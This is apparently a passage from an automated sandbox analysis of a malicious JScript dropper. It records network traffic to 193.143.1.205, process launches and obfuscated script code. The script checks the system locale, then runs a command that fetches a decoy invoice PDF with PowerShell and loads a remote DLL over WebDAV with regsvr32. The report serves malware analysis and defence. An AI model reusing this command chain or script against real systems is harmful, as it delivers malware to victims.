Jan 10, 2025 22:35:21.398403883 CET	65505	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:35:21.403166056 CET	53	65505	1.1.1.1	192.168.2.6
Jan 10, 2025 22:35:21.855829954 CET	53	65505	1.1.1.1	192.168.2.6
Jan 10, 2025 22:35:21.856560946 CET	65505	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:35:21.861758947 CET	53	65505	1.1.1.1	192.168.2.6
Jan 10, 2025 22:35:21.861834049 CET	65505	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:33:26.796706915 CET	50757	53	192.168.2.6	1.1.1.1
Jan 10, 2025 22:35:21.392923117 CET	53	58424	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:33:26.796706915 CET	192.168.2.6	1.1.1.1	0x3f5f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:33:26.805435896 CET	1.1.1.1	192.168.2.6	0x3f5f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:33:27.549648046 CET	1.1.1.1	192.168.2.6	0x4a33	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:33:27.549648046 CET	1.1.1.1	192.168.2.6	0x4a33	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:34:56.268958092 CET	1.1.1.1	192.168.2.6	0x725d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:34:56.268958092 CET	1.1.1.1	192.168.2.6	0x725d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:35:20.392021894 CET	1.1.1.1	192.168.2.6	0x7429	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:35:20.392021894 CET	1.1.1.1	192.168.2.6	0x7429	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	3052	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:33:16.459971905 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:33:17.276051998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:33:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:33:17.276077032 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:33:17.276118040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:33:17.276169062 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:33:17.276230097 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:33:17.276241064 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:33:17.276343107 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:33:17.276355982 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:33:17.276367903 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:33:17.276380062 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 22:33:17.281030893 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	4972	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:33:19.192688942 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:33:19.989115953 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:33:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:33:12
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js"
Imagebase:	0x7ff6c21b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:33:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Imagebase:	0x7ff6d4200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:33:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:33:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:33:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:33:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d4200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:33:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7154c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:33:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:33:19
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:33:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1636,i,9349983815023827133,12440704141624935878,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lnpwawcam() {	lnpwawcam() ➔ undefined
1	kfmykittt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gtgyj = this[gzhub + vurugj + lbetyu + omcwopn + yvpyehepq + dowuaoa + bcynvsrwg + gxqxbjs] ( this[gbdqkyvpx + dcyjue + zmrkngr + lbetyu + mmqpqb + gzhub + gxqxbjs][jpuwfk + lbetyu + yvpyehepq + vurugj + gxqxbjs + yvpyehepq + uibpqiyfp + sahpmu + dkviy + yvpyehepq + zmrkngr + gxqxbjs] ( gbdqkyvpx + dcyjue + zmrkngr + lbetyu + mmqpqb + gzhub + gxqxbjs + amzvklv + dcyjue + sqijdts + yvpyehepq + ulbiknqui + ulbiknqui ) [curhey + yvpyehepq + irvbrh + curhey + yvpyehepq + vurugj + mbtoxi] ( rqtcst + rtkrb + ejkrdyi + gmljnbmkk + mgkcauwh + jpuwfk + jtyxbjr + curhey + curhey + ejkrdyi + vsvlkutu + mjpaaolz + mgkcauwh + jtyxbjr + dcyjue + ejkrdyi + curhey + aefkskxt + jpuwfk + rsohygapd + bcynvsrwg + gxqxbjs + lbetyu + rsohygapd + ulbiknqui + sogsj + wkyvfmdfw + vurugj + bcynvsrwg + yvpyehepq + ulbiknqui + aefkskxt + dowuaoa + bcynvsrwg + gxqxbjs + yvpyehepq + lbetyu + bcynvsrwg + vurugj + gxqxbjs + mmqpqb + rsohygapd + bcynvsrwg + vurugj + ulbiknqui + aefkskxt + ityhod + rsohygapd + zmrkngr + vurugj + ulbiknqui + yvpyehepq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cmbprzsc = 0 ; cmbprzsc < kfmykittt[ulbiknqui + yvpyehepq + bcynvsrwg + irvbrh + gxqxbjs + sqijdts] ; ++ cmbprzsc )
4	{
5	if ( gtgyj == kfmykittt[cmbprzsc] )
6	{
7	gtgyj = true;
8	break ;
9	}
10	}
11	if ( gtgyj !== true )
12	this[gbdqkyvpx + dcyjue + zmrkngr + lbetyu + mmqpqb + gzhub + gxqxbjs][bwyacgkt + fqlweosqm + mmqpqb + gxqxbjs] ( );
13	this[gbdqkyvpx + dcyjue + zmrkngr + lbetyu + mmqpqb + gzhub + gxqxbjs][jpuwfk + lbetyu + yvpyehepq + vurugj + gxqxbjs + yvpyehepq + uibpqiyfp + sahpmu + dkviy + yvpyehepq + zmrkngr + gxqxbjs] ( gbdqkyvpx + dcyjue + zmrkngr + lbetyu + mmqpqb + gzhub + gxqxbjs + amzvklv + dcyjue + sqijdts + yvpyehepq + ulbiknqui + ulbiknqui ) [lbetyu + fqlweosqm + bcynvsrwg] ( zmrkngr + ovfen + mbtoxi + sogsj + cxwsbdph + zmrkngr + sogsj + gzhub + rsohygapd + utqscw + yvpyehepq + lbetyu + omcwopn + sqijdts + yvpyehepq + ulbiknqui + ulbiknqui + amzvklv + yvpyehepq + mepweuqdc + yvpyehepq + sogsj + dffxur + jpuwfk + rsohygapd + ovfen + ovfen + vurugj + bcynvsrwg + mbtoxi + sogsj + gdelia + dowuaoa + bcynvsrwg + bwdmqydg + rsohygapd + npdew + yvpyehepq + dffxur + gbdqkyvpx + yvpyehepq + sahpmu + curhey + yvpyehepq + bykssa + fqlweosqm + yvpyehepq + omcwopn + gxqxbjs + sogsj + dffxur + uibpqiyfp + fqlweosqm + gxqxbjs + vbbqxse + mmqpqb + ulbiknqui + yvpyehepq + sogsj + amolbtq + gxqxbjs + yvpyehepq + ovfen + gzhub + amolbtq + aefkskxt + mmqpqb + bcynvsrwg + bwdmqydg + rsohygapd + mmqpqb + zmrkngr + yvpyehepq + amzvklv + gzhub + mbtoxi + sheabmu + sogsj + sqijdts + gxqxbjs + gxqxbjs + gzhub + idolufdkr + cxwsbdph + cxwsbdph + noivu + vxjvcuc + nujhqaslp + amzvklv + noivu + dethucnm + nujhqaslp + amzvklv + noivu + amzvklv + rkywos + ynthlg + acyxv + cxwsbdph + mmqpqb + bcynvsrwg + bwdmqydg + rsohygapd + mmqpqb + zmrkngr + yvpyehepq + amzvklv + gzhub + sqijdts + gzhub + gdelia + ndlmfopbl + ndlmfopbl + omcwopn + gxqxbjs + vurugj + lbetyu + gxqxbjs + sogsj + amolbtq + gxqxbjs + yvpyehepq + ovfen + gzhub + amolbtq + aefkskxt + mmqpqb + bcynvsrwg + bwdmqydg + rsohygapd + mmqpqb + zmrkngr + yvpyehepq + amzvklv + gzhub + mbtoxi + sheabmu + ndlmfopbl + ndlmfopbl + zmrkngr + ovfen + mbtoxi + sogsj + cxwsbdph + zmrkngr + sogsj + bcynvsrwg + yvpyehepq + gxqxbjs + sogsj + fqlweosqm + omcwopn + yvpyehepq + sogsj + aefkskxt + aefkskxt + noivu + vxjvcuc + nujhqaslp + amzvklv + noivu + dethucnm + nujhqaslp + amzvklv + noivu + amzvklv + rkywos + ynthlg + acyxv + wrkvetgc + xavhve + xavhve + xavhve + xavhve + aefkskxt + mbtoxi + vurugj + bwdmqydg + utqscw + utqscw + utqscw + lbetyu + rsohygapd + rsohygapd + gxqxbjs + aefkskxt + ndlmfopbl + ndlmfopbl + zmrkngr + ovfen + mbtoxi + sogsj + cxwsbdph + zmrkngr + sogsj + lbetyu + yvpyehepq + irvbrh + omcwopn + bwdmqydg + lbetyu + nujhqaslp + rkywos + sogsj + cxwsbdph + omcwopn + sogsj + aefkskxt + aefkskxt + noivu + vxjvcuc + nujhqaslp + amzvklv + noivu + dethucnm + nujhqaslp + amzvklv + noivu + amzvklv + rkywos + ynthlg + acyxv + wrkvetgc + xavhve + xavhve + xavhve + xavhve + aefkskxt + mbtoxi + vurugj + bwdmqydg + utqscw + utqscw + utqscw + lbetyu + rsohygapd + rsohygapd + gxqxbjs + aefkskxt + noivu + lutyplcm + noivu + noivu + xavhve + rkywos + mgphhn + lutyplcm + lutyplcm + noivu + noivu + nujhqaslp + lutyplcm + mgphhn + acyxv + amzvklv + mbtoxi + ulbiknqui + ulbiknqui, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll",0,false) ➔ 0
14	}
15	amzvklv = "v";
16	amzvklv = "S";
17	amzvklv = "s";
18	amzvklv = "k";
19	amzvklv = "R";
20	amzvklv = "j";
21	amzvklv = "p";
22	amzvklv = "k";
23	amzvklv = "m";
24	amzvklv = "u";
25	amzvklv = "m";
26	amzvklv = "U";
27	amzvklv = "F";
28	amzvklv = "X";
29	amzvklv = "M";
30	amzvklv = "P";
31	amzvklv = "S";
32	amzvklv = "G";
33	amzvklv = "f";
34	amzvklv = "W";
35	amzvklv = "B";
36	amzvklv = "n";
37	amzvklv = "o";
38	amzvklv = "O";
39	amzvklv = "f";
40	amzvklv = "i";
41	amzvklv = "o";
42	amzvklv = "c";
43	amzvklv = "a";
44	amzvklv = ".";
45	mjpaaolz = "v";
46	mjpaaolz = "i";
47	mjpaaolz = "V";
48	mjpaaolz = "F";
49	mjpaaolz = "e";
50	mjpaaolz = "T";
51	mjpaaolz = "X";
52	mjpaaolz = "s";
53	mjpaaolz = "l";
54	mjpaaolz = "a";
55	mjpaaolz = "C";
56	mjpaaolz = "T";
57	rkywos = "J";
58	rkywos = "J";
59	rkywos = "w";
60	rkywos = "W";
61	rkywos = "X";
62	rkywos = "k";
63	rkywos = "Q";
64	rkywos = "x";
65	rkywos = "G";
66	rkywos = "k";
67	rkywos = "s";
68	rkywos = "j";
69	rkywos = "g";
70	rkywos = "Z";
71	rkywos = "c";
72	rkywos = "I";
73	rkywos = "m";
74	rkywos = "u";
75	rkywos = "S";
76	rkywos = "G";
77	rkywos = "x";
78	rkywos = "t";
79	rkywos = "F";
80	rkywos = "y";
81	rkywos = "W";
82	rkywos = "Y";
83	rkywos = "2";
84	gzhub = "Q";
85	gzhub = "A";
86	gzhub = "t";
87	gzhub = "y";
88	gzhub = "x";
89	gzhub = "j";
90	gzhub = "s";
91	gzhub = "I";
92	gzhub = "E";
93	gzhub = "b";
94	gzhub = "d";
95	gzhub = "d";
96	gzhub = "r";
97	gzhub = "e";
98	gzhub = "U";
99	gzhub = "L";
100	gzhub = "V";
101	gzhub = "R";
102	gzhub = "A";
103	gzhub = "E";
104	gzhub = "Y";
105	gzhub = "x";
106	gzhub = "o";
107	gzhub = "U";
108	gzhub = "E";
109	gzhub = "V";
110	gzhub = "d";
111	gzhub = "g";
112	gzhub = "j";
113	gzhub = "T";
114	gzhub = "Q";
115	gzhub = "X";
116	gzhub = "J";
117	gzhub = "p";
118	vurugj = "r";
119	vurugj = "k";
120	vurugj = "y";
121	vurugj = "u";
122	vurugj = "Z";
123	vurugj = "G";
124	vurugj = "x";
125	vurugj = "s";
126	vurugj = "A";
127	vurugj = "Z";
128	vurugj = "G";
129	vurugj = "B";
130	vurugj = "T";
131	vurugj = "a";
132	rsohygapd = "L";
133	rsohygapd = "L";
134	rsohygapd = "L";
135	rsohygapd = "x";
136	rsohygapd = "l";
137	rsohygapd = "m";
138	rsohygapd = "M";
139	rsohygapd = "Z";
140	rsohygapd = "b";
141	rsohygapd = "d";
142	rsohygapd = "j";
143	rsohygapd = "p";
144	rsohygapd = "c";
145	rsohygapd = "A";
146	rsohygapd = "N";
147	rsohygapd = "I";
148	rsohygapd = "Q";
149	rsohygapd = "J";
150	rsohygapd = "p";
151	rsohygapd = "y";
152	rsohygapd = "t";
153	rsohygapd = "W";
154	rsohygapd = "x";
155	rsohygapd = "V";
156	rsohygapd = "C";
157	rsohygapd = "s";
158	rsohygapd = "k";
159	rsohygapd = "X";
160	rsohygapd = "M";
161	rsohygapd = "T";
162	rsohygapd = "E";
163	rsohygapd = "o";
164	acyxv = "H";
165	acyxv = "Q";
166	acyxv = "r";
167	acyxv = "R";
168	acyxv = "G";
169	acyxv = "A";
170	acyxv = "R";
171	acyxv = "r";
172	acyxv = "h";
173	acyxv = "R";
174	acyxv = "C";
175	acyxv = "U";
176	acyxv = "t";
177	acyxv = "L";
178	acyxv = "V";
179	acyxv = "K";
180	acyxv = "x";
181	acyxv = "x";
182	acyxv = "F";
183	acyxv = "w";
184	acyxv = "s";
185	acyxv = "h";
186	acyxv = "I";
187	acyxv = "j";
188	acyxv = "5";
189	yvpyehepq = "t";
190	yvpyehepq = "R";
191	yvpyehepq = "B";
192	yvpyehepq = "B";
193	yvpyehepq = "c";
194	yvpyehepq = "U";
195	yvpyehepq = "L";
196	yvpyehepq = "b";
